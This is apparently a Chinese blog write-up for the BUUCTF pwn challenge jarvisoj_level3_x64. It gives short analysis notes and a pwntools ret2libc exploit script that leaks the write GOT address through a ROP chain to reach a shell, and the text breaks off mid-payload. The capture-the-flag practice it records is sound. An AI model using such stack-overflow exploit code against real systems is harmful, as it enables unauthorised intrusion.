BUUCTF-jarvisoj_level3_x64

最新推荐文章于 2025-08-30 13:58:21 发布

原创

最新推荐文章于 2025-08-30 13:58:21 发布 · 858 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #python #安全 #linux

本文介绍了一个简单的64位程序利用ret2libc技术进行栈溢出攻击的方法。通过构造payload泄露libc基地址，并利用该地址实现/bin/sh的调用，最终获得shell。文中详细展示了从分析到EXP脚本的全过程。

checksec

IDA

很简单的程序,栈溢出

没有system (bin/sh)

很明显了 64位的ret2libc3

EXP

老规矩的脚本

from pwn import *

#start
# r = process("../buu/jarvisoj_level3_x64")
r = remote("node4.buuoj.cn",29734)
elf = ELF("./33level3")
libc = ELF("./libc-2.23-64.so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
rdi_addr = 0x4006b3
rsir15_addr = 0x4006b1

#attack
payload = b'M'*(0x80+8) + p64(rdi_addr) + p64(1) + p64(rsir15_addr) + p64(write_got) + b'